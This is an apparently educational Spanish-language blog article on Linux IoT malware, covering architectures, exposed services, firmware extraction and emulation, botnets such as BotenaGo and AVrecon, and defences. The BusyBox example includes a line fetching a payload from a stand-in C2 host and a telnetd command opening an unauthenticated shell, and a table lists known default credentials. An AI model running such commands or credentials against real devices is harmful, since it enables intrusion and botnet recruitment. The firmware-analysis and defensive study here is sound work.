Malware en IoT Basado en Linux: ARM, MIPS y la Superficie de Ataque del Futuro
Análisis del malware IoT en dispositivos Linux embebidos. Cámaras IP, routers, NAS como objetivos. Arquitecturas ARM/MIPS, firmware analysis con binwalk, botnets IoT modernas, y estrategias de seguridad para dispositivos embebidos.
Millones de dispositivos Linux sin parchear conectados a Internet
Hay más de 15.000 millones de dispositivos IoT conectados a Internet en 2026. La mayoría ejecuta Linux (o un derivado) en arquitecturas ARM o MIPS. La mayoría nunca recibe actualizaciones de seguridad. La mayoría tiene credenciales por defecto que nunca se cambian.
Es la superficie de ataque más grande y menos protegida del mundo.
El ecosistema IoT Linux
Arquitecturas comunes
| Arquitectura | Dispositivos típicos | Endianness | Herramientas de análisis |
|---|---|---|---|
| ARM (32-bit) | Cámaras IP, routers modernos, Raspberry Pi | Little endian (predominante) | qemu-arm-static, Ghidra ARM |
| ARM (64-bit, AArch64) | Routers de gama alta, NAS modernos | Little endian | qemu-aarch64-static, Ghidra |
| MIPS (32-bit) | Routers (TP-Link, Huawei, Atheros) | Big endian (predominante) | qemu-mips-static, Ghidra MIPS |
| MIPSEL (32-bit) | Routers (Atheros, MediaTek) | Little endian | qemu-mipsel-static |
| PowerPC | Routers legacy, equipos industriales | Big endian | qemu-ppc-static |
| SH4 (SuperH) | Dispositivos legacy, decodificadores TV | Little endian | qemu-sh4-static |
| x86 | NAS (Synology, QNAP), DVRs de gama alta | Little endian | Análisis nativo |
Sistemas operativos embebidos
| OS | Basado en | Uso |
|---|---|---|
| OpenWrt | Linux | Routers open source |
| BusyBox Linux | Linux kernel + BusyBox userland | Dispositivos minimalistas |
| Buildroot | Linux kernel + custom userland | Firmware custom |
| Yocto | Linux kernel + framework de build | Dispositivos industriales |
| Android Things | Android/Linux | IoT Google (deprecated) |
| FreeRTOS | No Linux (RTOS) | Microcontroladores (no aplica este artículo) |
BusyBox: la navaja suiza del IoT
BusyBox combina cientos de utilidades Unix en un solo binario compacto. Es el userland estándar en dispositivos embebidos:
# Un solo binario que implementa: ls, cat, grep, awk, wget, telnetd, httpd, etc.
/bin/busybox ls
/bin/busybox wget http://c2/payload
/bin/busybox telnetd -l /bin/sh # El servicio telnet que Mirai ataca
Vectores de ataque a dispositivos IoT
Servicios expuestos
| Servicio | Puerto | Riesgo |
|---|---|---|
| Telnet | 23 | Brute force de credenciales (vector principal de Mirai) |
| SSH | 22 | Brute force, credenciales por defecto |
| HTTP/HTTPS (web admin) | 80, 443, 8080 | Vulnerabilidades web, credenciales por defecto |
| UPnP | 1900 | Descubrimiento + explotación (múltiples CVEs) |
| MQTT | 1883 | Sin autenticación por defecto, exfiltración de datos IoT |
| TR-069 (CWMP) | 7547 | Gestión remota de ISPs, múltiples exploits |
| RTSP | 554 | Streaming de video de cámaras sin autenticación |
| FTP | 21 | Acceso a firmware/configuración |
Vulnerabilidades recurrentes
| Tipo | Ejemplo | Impacto |
|---|---|---|
| Credenciales hardcodeadas | root:root, admin:admin, root:vizxv | Acceso completo al dispositivo |
| Command injection | Input no sanitizado en web admin | RCE vía interfaz web |
| Buffer overflow | En servicios como httpd, telnetd | RCE sin autenticación |
| Path traversal | En servidores web del dispositivo | Lectura de /etc/passwd, firmware |
| Backdoor del fabricante | Cuentas de servicio ocultas | Acceso permanente |
| Firmware sin cifrar | Descarga de firmware desde el sitio del fabricante | Reverse engineering, extracción de claves |
Análisis de firmware
Extracción con binwalk
# Analizar estructura del firmware
binwalk firmware.bin
# Extraer contenido
binwalk -e firmware.bin
# Output tipico:
# DECIMAL HEXADECIMAL DESCRIPTION
# 0 0x0 uImage header, Linux kernel
# 64 0x40 LZMA compressed data
# 1048576 0x100000 Squashfs filesystem, little endian
# 5242880 0x500000 JFFS2 filesystem, little endian
Estructura típica de firmware IoT
firmware.bin
├── Bootloader (U-Boot)
├── Kernel (Linux, comprimido con LZMA/gzip)
├── Root filesystem (SquashFS, JFFS2, UBIFS)
│ ├── /bin/ (BusyBox + binarios custom)
│ ├── /etc/ (configuracion, credenciales)
│ ├── /usr/ (aplicaciones)
│ ├── /www/ (interfaz web)
│ └── /lib/ (librerias)
└── NVRAM / Config partition
Análisis post-extracción
# Extraer firmware
binwalk -e firmware.bin
cd _firmware.bin.extracted/squashfs-root/
# Buscar credenciales hardcodeadas
grep -r "password\|passwd\|secret\|key\|token" etc/ 2>/dev/null
cat etc/passwd # Usuarios y hashes
cat etc/shadow # Hashes de passwords (si existe)
# Buscar backdoors
grep -r "backdoor\|telnetd\|dropbear" etc/init.d/ 2>/dev/null
# Buscar servicios que arrancan al boot
# Buscar claves privadas
find . -name "*.pem" -o -name "*.key" -o -name "*.crt" 2>/dev/null
# Buscar URLs/IPs hardcodeadas
grep -rE '([0-9]{1,3}\.){3}[0-9]{1,3}' . 2>/dev/null | grep -v Binary
grep -rE 'http[s]?://' . 2>/dev/null | grep -v Binary
# Analizar binarios custom
file usr/bin/*
strings usr/bin/custom_daemon | grep -i "password\|http\|ftp"
Emulación con QEMU
# Emulacion de binario ARM individual
cp $(which qemu-arm-static) ./squashfs-root/usr/bin/
sudo chroot ./squashfs-root /usr/bin/qemu-arm-static /bin/busybox ls
# Emulacion con firmadyne (sistema completo)
git clone https://github.com/firmadyne/firmadyne
./firmadyne/sources/extractor/extractor.py -b brand -sql 127.0.0.1 firmware.bin
./firmadyne/scripts/makeNetwork.sh
./firmadyne/scratch/[id]/run.sh
# Emula el firmware completo con networking
Herramientas de análisis de firmware
| Herramienta | Tipo | Función |
|---|---|---|
| binwalk | CLI | Análisis y extracción de firmware |
| Firmwalker | Script | Búsqueda automatizada de secrets en firmware extraído |
| FACT (Firmware Analysis and Comparison Tool) | Web | Análisis automatizado con plugins |
| firmadyne | Emulador | Emulación completa de firmware Linux |
| ARM-X | Emulador | Framework de emulación de firmware ARM |
| Ghidra | Decompilador | Análisis de binarios multi-arquitectura |
| EMBA | Framework | Análisis de seguridad de firmware automatizado |
| Trommel | Script | Búsqueda de vulnerabilidades en firmware |
Malware IoT notable (además de Mirai)
BotenaGo (2021)
Escrito en Go, explota más de 30 vulnerabilidades diferentes en routers y dispositivos IoT simultáneamente. Multiarchitectura nativa gracias a Go.
Chaos (2022)
Botnet escrita en Go que combina:
- DDoS
- Cryptomining
- Propagación via SSH brute force
- Funciona en x86, ARM, MIPS, PowerPC, SPARC
AVrecon (2023)
Botnet que infecta routers SOHO (Small Office/Home Office) para convertirlos en proxies residenciales. Los proxies se venden como servicio, generando ingresos para el operador. Más de 70.000 routers infectados según Lumen Black Lotus Labs.
Pandora (2023)
Botnet basada en Mirai que infecta Android TV boxes baratos (vendidos en Amazon, AliExpress) que vienen con firmware comprometido de fábrica.
Defensa de dispositivos IoT
Para usuarios/empresas
| Medida | Prioridad |
|---|---|
| Cambiar credenciales por defecto | Critica |
| Actualizar firmware | Critica |
| Segmentar IoT en VLAN separada | Critica |
| Deshabilitar telnet/UPnP | Alta |
| Deshabilitar servicios innecesarios | Alta |
| Monitorizar tráfico IoT | Alta |
| Inventariar todos los dispositivos IoT | Alta |
| Reemplazar dispositivos EOL (sin updates) | Media |
Para fabricantes
| Medida | Descripción |
|---|---|
| Secure boot | Verificar integridad del firmware al arrancar |
| Sin credenciales por defecto | Forzar cambio en primer uso |
| Updates automáticas OTA | Actualizaciones firmadas y verificadas |
| Minimal services | No exponer telnet, FTP, UPnP por defecto |
| Cifrado de firmware | Dificultar reverse engineering |
| Programa de disclosure | Canal para reportar vulnerabilidades |
| SLA de patches | Comprometerse a parchear vulnerabilidades en plazo definido |
Mapeo MITRE ATT&CK (IoT)
| Técnica | ID | Contexto IoT |
|---|---|---|
| Exploit Public-Facing Application | T1190 | Vulnerabilidades en web admin, UPnP |
| Default Credentials | T1078.001 | Credenciales de fábrica |
| Brute Force | T1110 | Telnet/SSH brute force |
| Network Denial of Service | T1498 | DDoS desde botnet IoT |
| Resource Hijacking | T1496 | Cryptomining, proxy residential |
| Data from Local System | T1005 | Exfiltración de datos de cámaras/sensores |
Fuentes y referencias
- Chantzis, F. et al. "Practical IoT Hacking." No Starch Press, 2021.
- Gupta, A. "The IoT Hacker's Handbook." Apress, 2019.
- binwalk. "Firmware Analysis Tool." https://github.com/ReFirmLabs/binwalk
- firmadyne. "Platform for Firmware Emulation." https://github.com/firmadyne/firmadyne
- EMBA. "Embedded Firmware Analyzer." https://github.com/e-m-b-a/emba
- Nozomi Networks. "IoT/OT Security Report 2024." Nozomi Networks.
- Lumen Black Lotus Labs. "AVrecon Analysis." 2023.
- MITRE ATT&CK. "ICS/IoT Matrix." https://attack.mitre.org/
- NIST. "NISTIR 8259: IoT Device Cybersecurity Capability Core Baseline."
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Botnets Linux: Mirai y Sus Variantes que Siguen Dominando el IoT
ELF 101: Formato de Ejecutables Linux para Analistas de Malware
Análisis de Malware en Linux: Herramientas Esenciales y Metodología
Cobertura ATT&CK: DeTT&CT, Gap Analysis y Priorización de Detecciones
Construir un Programa de Detection Engineering: De Cero a Producción
De IOC a Detección: Workflow Completo para Operacionalizar Inteligencia
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.